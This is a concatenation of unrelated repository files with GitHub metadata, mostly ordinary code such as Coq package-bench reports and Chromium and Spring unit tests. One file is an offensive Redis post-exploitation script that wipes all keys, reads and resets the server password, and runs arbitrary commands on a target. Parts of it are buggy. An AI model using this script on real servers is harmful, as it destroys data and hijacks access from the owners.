<dd>0</dd> </dl> <h2>Dry install 🏜️</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-monae.0.0.3 coq.8.5.2</code></dd> <dt>Return code</dt> <dd>5120</dd> <dt>Output</dt> <dd><pre>[NOTE] Package coq is already installed (current version is 8.5.2). The following dependencies couldn&#39;t be met: - coq-monae -&gt; coq &gt;= 8.10 -&gt; ocaml &gt;= 4.05.0 base of this switch (use `--unlock-base&#39; to force) No solution found, exiting </pre></dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-monae.0.0.3</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Install 🚀</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Installation size</h2> <p>No files were installed.</p> <h2>Uninstall 🧹</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣 </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
{ "content_hash": "fd08bd2b41db58d965565e728e4dac0a", "timestamp": "", "source": "github", "line_count": 181, "max_line_length": 159, "avg_line_length": 39.331491712707184, "alnum_prop": 0.5461441213653603, "repo_name": "coq-bench/coq-bench.github.io", "id": "abaa1c1b0f002087a1ebfc5162967382e66e2f48", "size": "7144", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "clean/Linux-x86_64-4.04.2-2.0.5/released/8.5.2/monae/0.0.3.html", "mode": "33188", "license": "mit", "language": [], "symlink_target": "" }
using System; using System.Diagnostics; using System.IO; using System.IO.Pipes; using XElement.SDM.UI.Win32.Proxy.Service; namespace XElement.SDM.UI.Win32.Proxy.ServiceAdapter { #region not unit-tested //TODO: DRY w.r.t. CSH project internal class Adapter { public Adapter( string pipeName ) { this._pipeName = pipeName; } public bool CanStart() { var isAnotherInstanceAlreadyRunning = false; try { this.CanStart_Workaround(); } catch /*( IOException )*/ { isAnotherInstanceAlreadyRunning = true; } return !isAnotherInstanceAlreadyRunning; } // --> 2017-09-03, Ian: // Workaround because of 'https://github.com/acdvorak/named-pipe-wrapper/issues/7'. private void CanStart_Workaround() { new NamedPipeServerStream( this._pipeName ).Dispose(); } private ProcessStartInfo CreateStartInfo() { var startInfo = new ProcessStartInfo { Arguments = this._pipeName, CreateNoWindow = true, FileName = this.PathToLinkCreatorSvcExe, WindowStyle = ProcessWindowStyle.Hidden }; return startInfo; } public void Launch() { var process = new Process { StartInfo = this.CreateStartInfo() }; process.Start(); // TODO handle if user does not allow admin rights } private string PathToLinkCreatorSvcExe { get { var serviceFileName = new AssemblyInfoAccessor().AssemblyName + ".exe"; return Path.Combine( Environment.CurrentDirectory, serviceFileName ); } } private string _pipeName; } #endregion }
{ "content_hash": "70dc14984009121972b935bdb7bc8426", "timestamp": "", "source": "github", "line_count": 76, "max_line_length": 96, "avg_line_length": 26, "alnum_prop": 0.5364372469635628, "repo_name": "XElementDev/SDM", "id": "a4959f44204817e925ea7e5ca94584601ba8b44e", "size": "1976", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "code/UI/Win32/Proxy/ServiceAdapter/Adapter.cs", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "C#", "bytes": "148580" } ], "symlink_target": "" }
<?php class Google_Service_ServiceControl_ConsumerInfo extends Google_Model { public $projectNumber; public function setProjectNumber($projectNumber) { $this->projectNumber = $projectNumber; } public function getProjectNumber() { return $this->projectNumber; } }
{ "content_hash": "b384b3bee9198ab4bfe745067f5527b8", "timestamp": "", "source": "github", "line_count": 16, "max_line_length": 69, "avg_line_length": 18, "alnum_prop": 0.7291666666666666, "repo_name": "githubmoros/myclinicsoft", "id": "d80cdd66e918bca0606a90811320d581355fa505", "size": "878", "binary": false, "copies": "20", "ref": "refs/heads/master", "path": "vendor/google/apiclient-services/src/Google/Service/ServiceControl/ConsumerInfo.php", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "1974" }, { "name": "C", "bytes": "2283" }, { "name": "CSS", "bytes": "402072" }, { "name": "HTML", "bytes": "234805" }, { "name": "JavaScript", "bytes": "1642660" }, { "name": "Makefile", "bytes": "467" }, { "name": "PHP", "bytes": "267802279" }, { "name": "Smarty", "bytes": "18020" } ], "symlink_target": "" }
import sys from redisattacks import redis_conn,redis_enum from couchattacks import couch_conn from termcolor import colored #def post_couch(): def post_redis(): target=raw_input("Enter target\n") r_server=redis_conn(target,6379) try: shit=r_server.keys() except: print colored("[+] Authentication Required \n",'red') print colored("[+] Enter DB password to perform post attacks \n",'blue') password=raw_input() try: r_server.execute_command('AUTH',password) except Exception,e: print colored("[+] "+str(e),'red') sys.exit(0) print colored("[+] Perform Post Exploitation Redis Operations \n",'green') print colored("[+] 1)List Keys & Clients Connected \n[+] 2)Add Key \n[+] 3)Delete Keys or Flush Entire DB \n[+] 4)Change Password \n[+] 5)Execute Client commands \n",'green') choice=input() if choice == 1: print colored("[+] Clients Connected %s "%(r_server.client_list()[0]['addr'])) redis_enum(r_server) elif choice==2: print colored("[-] Enter Key name and data",'yellow') key=raw_input("Key\n") data=raw_input("Data \n") try: r_server.set(key, data) print colored("[-] %s:%s added"%(key,data),'blue') except: print colored("Error occured",'red') elif choice == 3: print colored("[+] a)Flush DB \n[+] b)Delete Key \n[-] Enter choice (a/b)",'blue') ch = raw_input() if ch == 'b': print colored("[+] Enter the Key value to delete \n",'yellow') key=raw_input() if r_server.delete(key) == 1: print colored("[+] Key %s deleted \n"%(key),'blue') else: print colored("[+] Key %s Doesnt Exist \n"%(key),'red') else: print "[+] Flushed All Database Keys \n" r_server.flushall() elif choice ==4: print colored("[-] Current Password %s \n"%(r_server.config_get()['requirepass']),'green') print colored("[+] Enter new password \n",'green') password=raw_input() r_server.config_set('requirepass',password) print colored("Password Successfully set to %s"%(r_server.config_get()['requirepass']),'green') elif choice == 4: print colored("Execute client Commands\n eg:FLUSHDB,ECHO,AUTH,",'blue') r_server.execute_command(command) post_redis()
{ "content_hash": "12ffc79261fec1acf747b20e67041462", "timestamp": "", "source": "github", "line_count": 59, "max_line_length": 175, "avg_line_length": 36.355932203389834, "alnum_prop": 0.6564102564102564, "repo_name": "ajinabraham/Nosql-Exploitation-Framework", "id": "976ba1f68e7e55a79a69c4354f0a9bde3db88a18", "size": "2187", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "dbattacks/postattacks.py", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "Python", "bytes": "78243" }, { "name": "Shell", "bytes": "384" } ], "symlink_target": "" }
package org.springframework.cloud.netflix.ribbon; import java.io.IOException; import java.net.URI; import java.net.URL; import org.junit.Before; import org.junit.Test; import org.mockito.ArgumentCaptor; import org.mockito.Mock; import org.mockito.MockitoAnnotations; import org.springframework.cloud.client.ServiceInstance; import org.springframework.cloud.client.loadbalancer.LoadBalancerClient; import org.springframework.cloud.client.loadbalancer.LoadBalancerInterceptor; import org.springframework.cloud.client.loadbalancer.LoadBalancerRequest; import org.springframework.cloud.netflix.ribbon.RibbonLoadBalancerClient.RibbonServer; import org.springframework.http.HttpRequest; import org.springframework.http.client.ClientHttpRequestExecution; import org.springframework.http.client.ClientHttpResponse; import org.springframework.http.client.support.HttpRequestWrapper; import org.springframework.util.ReflectionUtils; import org.springframework.web.util.UriComponentsBuilder; import com.netflix.loadbalancer.Server; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.mockito.BDDMockito.given; import static org.mockito.Matchers.isA; import static org.mockito.Mockito.verify; /** * @author Spencer Gibb */ public class RibbonInterceptorTests { @Mock private HttpRequest request; @Mock private ClientHttpRequestExecution execution; @Mock private ClientHttpResponse response; @Before public void init() { MockitoAnnotations.initMocks(this); } @Test public void testIntercept() throws Exception { RibbonServer server = new RibbonServer("myservice", new Server("myhost", 8080)); LoadBalancerInterceptor interceptor = new LoadBalancerInterceptor(new MyClient(server)); given(this.request.getURI()).willReturn(new URL("http://myservice").toURI()); given(this.execution.execute(isA(HttpRequest.class), isA(byte[].class))) .willReturn(this.response); ArgumentCaptor<HttpRequestWrapper> argument = ArgumentCaptor .forClass(HttpRequestWrapper.class); ClientHttpResponse response = interceptor.intercept(this.request, new byte[0], this.execution); assertNotNull("response was null", response); verify(this.execution).execute(argument.capture(), isA(byte[].class)); HttpRequestWrapper wrapper = argument.getValue(); assertEquals("wrong constructed uri", new URL("http://myhost:8080").toURI(), wrapper.getURI()); } protected static class MyClient implements LoadBalancerClient { private ServiceInstance instance; public MyClient(ServiceInstance instance) { this.instance = instance; } @Override public ServiceInstance choose(String serviceId) { return this.instance; } @Override public <T> T execute(String serviceId, LoadBalancerRequest<T> request) { try { return request.apply(this.instance); } catch (Exception ex) { ReflectionUtils.rethrowRuntimeException(ex); } return null; } @Override public <T> T execute(String s, ServiceInstance serviceInstance, LoadBalancerRequest<T> request) throws IOException { try { return request.apply(this.instance); } catch (Exception ex) { ReflectionUtils.rethrowRuntimeException(ex); } return null; } @Override public URI reconstructURI(ServiceInstance instance, URI original) { return UriComponentsBuilder.fromUri(original).host(instance.getHost()) .port(instance.getPort()).build().toUri(); } } }
{ "content_hash": "bdab84a8bb0bc9c3347adaa15eeaa40d", "timestamp": "", "source": "github", "line_count": 112, "max_line_length": 118, "avg_line_length": 30.794642857142858, "alnum_prop": 0.779936213395187, "repo_name": "bijukunjummen/spring-cloud-netflix", "id": "aa9bb89ea9086730fdb950153ca48197ad4674d2", "size": "4069", "binary": false, "copies": "4", "ref": "refs/heads/master", "path": "spring-cloud-netflix-core/src/test/java/org/springframework/cloud/netflix/ribbon/RibbonInterceptorTests.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "5007" }, { "name": "CSS", "bytes": "52448" }, { "name": "FreeMarker", "bytes": "19377" }, { "name": "HTML", "bytes": "10579" }, { "name": "Java", "bytes": "1892817" }, { "name": "JavaScript", "bytes": "33383" }, { "name": "Ruby", "bytes": "481" }, { "name": "Shell", "bytes": "8684" } ], "symlink_target": "" }
export class StackItem { constructor( public title: string, public description: string, public image: string ) { } }
{ "content_hash": "f12028ec584753b3598cee5b42dbebe0", "timestamp": "", "source": "github", "line_count": 7, "max_line_length": 31, "avg_line_length": 19.142857142857142, "alnum_prop": 0.6567164179104478, "repo_name": "webzeppelin/wz-docker-starter-lib", "id": "5aa5991807091dfb4ae2fab399e15c75e786d2dc", "size": "134", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "public-client/public-client-angular2/src/app/about/about.model.ts", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "4591" }, { "name": "CSS", "bytes": "2271" }, { "name": "HTML", "bytes": "43046" }, { "name": "JavaScript", "bytes": "13965" }, { "name": "Nginx", "bytes": "643" }, { "name": "Python", "bytes": "36265" }, { "name": "Shell", "bytes": "5676" }, { "name": "TypeScript", "bytes": "29294" } ], "symlink_target": "" }
namespace cc { namespace { // Layer version unit tests TEST(LayerListIteratorTest, VerifyTraversalOrder) { // Unfortunate preamble. FakeLayerTreeHostClient client; TestTaskGraphRunner task_graph_runner; std::unique_ptr<FakeLayerTreeHost> host_ptr = FakeLayerTreeHost::Create(&client, &task_graph_runner); FakeLayerTreeHost* host = host_ptr.get(); // This test constructs the following tree. // 1 // +-2 // | +-3 // | +-4 // + 5 // +-6 // +-7 // We expect to visit all seven layers in that order. scoped_refptr<Layer> layer1 = Layer::Create(); scoped_refptr<Layer> layer2 = Layer::Create(); scoped_refptr<Layer> layer3 = Layer::Create(); scoped_refptr<Layer> layer4 = Layer::Create(); scoped_refptr<Layer> layer5 = Layer::Create(); scoped_refptr<Layer> layer6 = Layer::Create(); scoped_refptr<Layer> layer7 = Layer::Create(); std::unordered_map<int, int> layer_id_to_order; layer_id_to_order[layer1->id()] = 1; layer_id_to_order[layer2->id()] = 2; layer_id_to_order[layer3->id()] = 3; layer_id_to_order[layer4->id()] = 4; layer_id_to_order[layer5->id()] = 5; layer_id_to_order[layer6->id()] = 6; layer_id_to_order[layer7->id()] = 7; layer2->AddChild(std::move(layer3)); layer2->AddChild(std::move(layer4)); layer5->AddChild(std::move(layer6)); layer5->AddChild(std::move(layer7)); layer1->AddChild(std::move(layer2)); layer1->AddChild(std::move(layer5)); host->SetRootLayer(std::move(layer1)); int i = 1; for (auto* layer : *host) { EXPECT_EQ(i++, layer_id_to_order[layer->id()]); } EXPECT_EQ(8, i); } TEST(LayerListIteratorTest, VerifySingleLayer) { // Unfortunate preamble. FakeLayerTreeHostClient client; TestTaskGraphRunner task_graph_runner; std::unique_ptr<FakeLayerTreeHost> host_ptr = FakeLayerTreeHost::Create(&client, &task_graph_runner); FakeLayerTreeHost* host = host_ptr.get(); // This test constructs a tree consisting of a single layer. scoped_refptr<Layer> layer1 = Layer::Create(); std::unordered_map<int, int> layer_id_to_order; layer_id_to_order[layer1->id()] = 1; host->SetRootLayer(std::move(layer1)); int i = 1; for (auto* layer : *host) { EXPECT_EQ(i++, layer_id_to_order[layer->id()]); } EXPECT_EQ(2, i); } TEST(LayerListIteratorTest, VerifyNullFirstLayer) { // Ensures that if an iterator is constructed with a nullptr, that it can be // iterated without issue and that it remains equal to any other // null-initialized iterator. LayerListIterator<Layer> it(nullptr); LayerListIterator<Layer> end(nullptr); EXPECT_EQ(it, end); ++it; EXPECT_EQ(it, end); } TEST(LayerListReverseIteratorTest, VerifyTraversalOrder) { // Unfortunate preamble. FakeLayerTreeHostClient client; TestTaskGraphRunner task_graph_runner; std::unique_ptr<FakeLayerTreeHost> host_ptr = FakeLayerTreeHost::Create(&client, &task_graph_runner); FakeLayerTreeHost* host = host_ptr.get(); // This test constructs the following tree. // 1 // +-2 // | +-3 // | +-4 // + 5 // +-6 // +-7 // We expect to visit all seven layers in reverse order. scoped_refptr<Layer> layer1 = Layer::Create(); scoped_refptr<Layer> layer2 = Layer::Create(); scoped_refptr<Layer> layer3 = Layer::Create(); scoped_refptr<Layer> layer4 = Layer::Create(); scoped_refptr<Layer> layer5 = Layer::Create(); scoped_refptr<Layer> layer6 = Layer::Create(); scoped_refptr<Layer> layer7 = Layer::Create(); std::unordered_map<int, int> layer_id_to_order; layer_id_to_order[layer1->id()] = 1; layer_id_to_order[layer2->id()] = 2; layer_id_to_order[layer3->id()] = 3; layer_id_to_order[layer4->id()] = 4; layer_id_to_order[layer5->id()] = 5; layer_id_to_order[layer6->id()] = 6; layer_id_to_order[layer7->id()] = 7; layer2->AddChild(std::move(layer3)); layer2->AddChild(std::move(layer4)); layer5->AddChild(std::move(layer6)); layer5->AddChild(std::move(layer7)); layer1->AddChild(std::move(layer2)); layer1->AddChild(std::move(layer5)); host->SetRootLayer(std::move(layer1)); int i = 7; for (auto* layer : base::Reversed(*host)) { EXPECT_EQ(i--, layer_id_to_order[layer->id()]); } EXPECT_EQ(0, i); } TEST(LayerListReverseIteratorTest, VerifySingleLayer) { // Unfortunate preamble. FakeLayerTreeHostClient client; TestTaskGraphRunner task_graph_runner; std::unique_ptr<FakeLayerTreeHost> host_ptr = FakeLayerTreeHost::Create(&client, &task_graph_runner); FakeLayerTreeHost* host = host_ptr.get(); // This test constructs a tree consisting of a single layer. scoped_refptr<Layer> layer1 = Layer::Create(); std::unordered_map<int, int> layer_id_to_order; layer_id_to_order[layer1->id()] = 1; host->SetRootLayer(std::move(layer1)); int i = 1; for (auto* layer : base::Reversed(*host)) { EXPECT_EQ(i--, layer_id_to_order[layer->id()]); } EXPECT_EQ(0, i); } TEST(LayerListReverseIteratorTest, VerifyNullFirstLayer) { // Ensures that if an iterator is constructed with a nullptr, that it can be // iterated without issue and that it remains equal to any other // null-initialized iterator. LayerListReverseIterator<Layer> it(nullptr); LayerListReverseIterator<Layer> end(nullptr); EXPECT_EQ(it, end); ++it; EXPECT_EQ(it, end); } // LayerImpl version unit tests TEST(LayerListIteratorTest, VerifyTraversalOrderImpl) { // Unfortunate preamble. FakeImplTaskRunnerProvider task_runner_provider; TestSharedBitmapManager shared_bitmap_manager; TestTaskGraphRunner task_graph_runner; std::unique_ptr<OutputSurface> output_surface = FakeOutputSurface::CreateDelegating3d(); FakeLayerTreeHostImpl host_impl(&task_runner_provider, &shared_bitmap_manager, &task_graph_runner); host_impl.SetVisible(true); EXPECT_TRUE(host_impl.InitializeRenderer(output_surface.get())); // This test constructs the following tree. // 1 // +-2 // | +-3 // | +-4 // + 5 // +-6 // +-7 // We expect to visit all seven layers in that order. std::unique_ptr<LayerImpl> layer1 = LayerImpl::Create(host_impl.active_tree(), 1); std::unique_ptr<LayerImpl> layer2 = LayerImpl::Create(host_impl.active_tree(), 2); std::unique_ptr<LayerImpl> layer3 = LayerImpl::Create(host_impl.active_tree(), 3); std::unique_ptr<LayerImpl> layer4 = LayerImpl::Create(host_impl.active_tree(), 4); std::unique_ptr<LayerImpl> layer5 = LayerImpl::Create(host_impl.active_tree(), 5); std::unique_ptr<LayerImpl> layer6 = LayerImpl::Create(host_impl.active_tree(), 6); std::unique_ptr<LayerImpl> layer7 = LayerImpl::Create(host_impl.active_tree(), 7); layer2->test_properties()->AddChild(std::move(layer3)); layer2->test_properties()->AddChild(std::move(layer4)); layer5->test_properties()->AddChild(std::move(layer6)); layer5->test_properties()->AddChild(std::move(layer7)); layer1->test_properties()->AddChild(std::move(layer2)); layer1->test_properties()->AddChild(std::move(layer5)); host_impl.active_tree()->SetRootLayerForTesting(std::move(layer1)); host_impl.active_tree()->BuildLayerListForTesting(); int i = 1; for (auto* layer : *host_impl.active_tree()) { EXPECT_EQ(i++, layer->id()); } EXPECT_EQ(8, i); } TEST(LayerListIteratorTest, VerifySingleLayerImpl) { // Unfortunate preamble. FakeImplTaskRunnerProvider task_runner_provider; TestSharedBitmapManager shared_bitmap_manager; TestTaskGraphRunner task_graph_runner; std::unique_ptr<OutputSurface> output_surface = FakeOutputSurface::CreateDelegating3d(); FakeLayerTreeHostImpl host_impl(&task_runner_provider, &shared_bitmap_manager, &task_graph_runner); host_impl.SetVisible(true); EXPECT_TRUE(host_impl.InitializeRenderer(output_surface.get())); // This test constructs a tree consisting of a single layer. std::unique_ptr<LayerImpl> layer1 = LayerImpl::Create(host_impl.active_tree(), 1); host_impl.active_tree()->SetRootLayerForTesting(std::move(layer1)); host_impl.active_tree()->BuildLayerListForTesting(); int i = 1; for (auto* layer : *host_impl.active_tree()) { EXPECT_EQ(i++, layer->id()); } EXPECT_EQ(2, i); } TEST(LayerListIteratorTest, VerifyNullFirstLayerImpl) { // Ensures that if an iterator is constructed with a nullptr, that it can be // iterated without issue and that it remains equal to any other // null-initialized iterator. LayerListIterator<LayerImpl> it(nullptr); LayerListIterator<LayerImpl> end(nullptr); EXPECT_EQ(it, end); ++it; EXPECT_EQ(it, end); } TEST(LayerListReverseIteratorTest, VerifyTraversalOrderImpl) { // Unfortunate preamble. FakeImplTaskRunnerProvider task_runner_provider; TestSharedBitmapManager shared_bitmap_manager; TestTaskGraphRunner task_graph_runner; std::unique_ptr<OutputSurface> output_surface = FakeOutputSurface::CreateDelegating3d(); FakeLayerTreeHostImpl host_impl(&task_runner_provider, &shared_bitmap_manager, &task_graph_runner); host_impl.SetVisible(true); EXPECT_TRUE(host_impl.InitializeRenderer(output_surface.get())); // This test constructs the following tree. // 1 // +-2 // | +-3 // | +-4 // + 5 // +-6 // +-7 // We expect to visit all seven layers in reverse order. std::unique_ptr<LayerImpl> layer1 = LayerImpl::Create(host_impl.active_tree(), 1); std::unique_ptr<LayerImpl> layer2 = LayerImpl::Create(host_impl.active_tree(), 2); std::unique_ptr<LayerImpl> layer3 = LayerImpl::Create(host_impl.active_tree(), 3); std::unique_ptr<LayerImpl> layer4 = LayerImpl::Create(host_impl.active_tree(), 4); std::unique_ptr<LayerImpl> layer5 = LayerImpl::Create(host_impl.active_tree(), 5); std::unique_ptr<LayerImpl> layer6 = LayerImpl::Create(host_impl.active_tree(), 6); std::unique_ptr<LayerImpl> layer7 = LayerImpl::Create(host_impl.active_tree(), 7); layer2->test_properties()->AddChild(std::move(layer3)); layer2->test_properties()->AddChild(std::move(layer4)); layer5->test_properties()->AddChild(std::move(layer6)); layer5->test_properties()->AddChild(std::move(layer7)); layer1->test_properties()->AddChild(std::move(layer2)); layer1->test_properties()->AddChild(std::move(layer5)); host_impl.active_tree()->SetRootLayerForTesting(std::move(layer1)); host_impl.active_tree()->BuildLayerListForTesting(); int i = 7; for (auto* layer : base::Reversed(*host_impl.active_tree())) { EXPECT_EQ(i--, layer->id()); } EXPECT_EQ(0, i); } TEST(LayerListReverseIteratorTest, VerifySingleLayerImpl) { // Unfortunate preamble. FakeImplTaskRunnerProvider task_runner_provider; TestSharedBitmapManager shared_bitmap_manager; TestTaskGraphRunner task_graph_runner; std::unique_ptr<OutputSurface> output_surface = FakeOutputSurface::CreateDelegating3d(); FakeLayerTreeHostImpl host_impl(&task_runner_provider, &shared_bitmap_manager, &task_graph_runner); host_impl.SetVisible(true); EXPECT_TRUE(host_impl.InitializeRenderer(output_surface.get())); // This test constructs a tree consisting of a single layer. std::unique_ptr<LayerImpl> layer1 = LayerImpl::Create(host_impl.active_tree(), 1); host_impl.active_tree()->SetRootLayerForTesting(std::move(layer1)); host_impl.active_tree()->BuildLayerListForTesting(); int i = 1; for (auto* layer : base::Reversed(*host_impl.active_tree())) { EXPECT_EQ(i--, layer->id()); } EXPECT_EQ(0, i); } TEST(LayerListReverseIteratorTest, VerifyNullFirstLayerImpl) { // Ensures that if an iterator is constructed with a nullptr, that it can be // iterated without issue and that it remains equal to any other // null-initialized iterator. LayerListReverseIterator<LayerImpl> it(nullptr); LayerListReverseIterator<LayerImpl> end(nullptr); EXPECT_EQ(it, end); ++it; EXPECT_EQ(it, end); } } // namespace } // namespace cc
{ "content_hash": "88a030901445af6f0c9b581b0181a642", "timestamp": "", "source": "github", "line_count": 367, "max_line_length": 80, "avg_line_length": 32.771117166212534, "alnum_prop": 0.6862891826723206, "repo_name": "danakj/chromium", "id": "457752dbc8adb2b91c3b75a27aa0d35727befb1f", "size": "12654", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "cc/layers/layer_list_iterator_unittest.cc", "mode": "33188", "license": "bsd-3-clause", "language": [], "symlink_target": "" }
unless defined?(STANDARD_OBJECT_PUBLIC_INSTANCE_METHODS) STANDARD_OBJECT_PUBLIC_INSTANCE_METHODS = Object.public_instance_methods end $:.unshift File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $:.unshift File.expand_path(File.join(File.dirname(__FILE__))) $:.unshift File.expand_path(File.join(File.dirname(__FILE__), 'unit')) $:.unshift File.expand_path(File.join(File.dirname(__FILE__), 'unit', 'parameter_matchers')) $:.unshift File.expand_path(File.join(File.dirname(__FILE__), 'acceptance')) if ENV['MOCHA_OPTIONS'] == 'use_test_unit_gem' require 'rubygems' gem 'test-unit' end require 'test/unit' require 'mocha' if defined?(MiniTest) FailedAssertion = MiniTest::Assertion else FailedAssertion = Test::Unit::AssertionFailedError end
{ "content_hash": "7f0312139862150e19a8846a359607f1", "timestamp": "", "source": "github", "line_count": 23, "max_line_length": 92, "avg_line_length": 33.47826086956522, "alnum_prop": 0.7233766233766233, "repo_name": "beno/devise_sociable", "id": "f6705987f136929ba69993196a98ea07e557d154", "size": "770", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "vendor/bundle/gems/bourne-1.1.2/test/test_helper.rb", "mode": "33188", "license": "mit", "language": [ { "name": "Ruby", "bytes": "14054" } ], "symlink_target": "" }
@interface MainThreadFreezeDetector : NSObject // Returns the sharedInstance of the watchdog. // Note that on first access, the instance is immediately started without // checking the new preferences values. This is necessary to detect freezes // during applicationDidFinishLaunching. + (instancetype)sharedInstance; // The result of the previous session. If this is true, the last time the // application was terminated, main thread was not responding. @property(nonatomic, readonly) BOOL lastSessionEndedFrozen; // Starts the watchdog of the main thread. - (void)start; // Stops the watchdog of the main thread. - (void)stop; // Enables or disables the main thread watchdog. This will also start or stop // the monitoring of the main thread. - (void)setEnabled:(BOOL)enabled; // Crashpad only. Tell Crashpad to process UTE intermediate dumps if there are // no newer crash reports. This should only be called after // crash_reporter::ProcessIntermediateDumps(), otherwise there would be no // way to see if a crash happened after the UTE report was generated. - (void)processIntermediateDumps; @end #endif // IOS_CHROME_BROWSER_CRASH_REPORT_MAIN_THREAD_FREEZE_DETECTOR_H_
{ "content_hash": "bb5abb2b7cb6caaee534d26b3e753fcd", "timestamp": "", "source": "github", "line_count": 24, "max_line_length": 78, "avg_line_length": 49, "alnum_prop": 0.7814625850340136, "repo_name": "ric2b/Vivaldi-browser", "id": "abbeee0c16dccf5f2ee139d567ec6e7289ed4aa3", "size": "2108", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "chromium/ios/chrome/browser/crash_report/main_thread_freeze_detector.h", "mode": "33188", "license": "bsd-3-clause", "language": [], "symlink_target": "" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>otway-rees: Not compatible 👼</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / released</a></li> <li class="active"><a href="">8.12.0 / otway-rees - 8.6.0</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> otway-rees <small> 8.6.0 <span class="label label-info">Not compatible 👼</span> </small> </h1> <p>📅 <em><script>document.write(moment("2022-11-24 01:52:19 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2022-11-24 01:52:19 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-num base Num library distributed with the OCaml compiler base-threads base base-unix base conf-findutils 1 Virtual package relying on findutils coq 8.12.0 Formal proof management system num 0 The Num library for arbitrary-precision integer and rational arithmetic ocaml 4.05.0 The OCaml compiler (virtual package) ocaml-base-compiler 4.05.0 Official 4.05.0 release ocaml-config 1 OCaml Switch Configuration ocamlfind 1.9.5 A library manager for OCaml # opam file: opam-version: &quot;2.0&quot; maintainer: &quot;Hugo.Herbelin@inria.fr&quot; homepage: &quot;https://github.com/coq-contribs/otway-rees&quot; license: &quot;Unknown&quot; build: [make &quot;-j%{jobs}%&quot;] install: [make &quot;install&quot;] remove: [&quot;rm&quot; &quot;-R&quot; &quot;%{lib}%/coq/user-contrib/OtwayRees&quot;] depends: [ &quot;ocaml&quot; &quot;coq&quot; {&gt;= &quot;8.6&quot; &amp; &lt; &quot;8.7~&quot;} ] tags: [ &quot;keyword: Otway-Rees&quot; &quot;keyword: protocols&quot; &quot;keyword: cryptography&quot; &quot;category: Computer Science/Concurrent Systems and Protocols/Correctness of specific protocols&quot; ] authors: [ &quot;Dominique Bolignano and Valérie Ménissier-Morain&quot; ] bug-reports: &quot;https://github.com/coq-contribs/otway-rees/issues&quot; dev-repo: &quot;git+https://github.com/coq-contribs/otway-rees.git&quot; synopsis: &quot;Otway-Rees cryptographic protocol&quot; description: &quot;&quot;&quot; A description and a proof of correctness for the Otway-Rees cryptographic protocol, usually used as an example for formalisation of such protocols.&quot;&quot;&quot; flags: light-uninstall url { src: &quot;https://github.com/coq-contribs/otway-rees/archive/v8.6.0.tar.gz&quot; checksum: &quot;md5=4915ebcc29d1af0b0f3c60ae6491d943&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Dry install 🏜️</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-otway-rees.8.6.0 coq.8.12.0</code></dd> <dt>Return code</dt> <dd>5120</dd> <dt>Output</dt> <dd><pre>[NOTE] Package coq is already installed (current version is 8.12.0). The following dependencies couldn&#39;t be met: - coq-otway-rees -&gt; coq &lt; 8.7~ -&gt; ocaml &lt; 4.03.0 base of this switch (use `--unlock-base&#39; to force) Your request can&#39;t be satisfied: - No available version of coq satisfies the constraints No solution found, exiting </pre></dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was 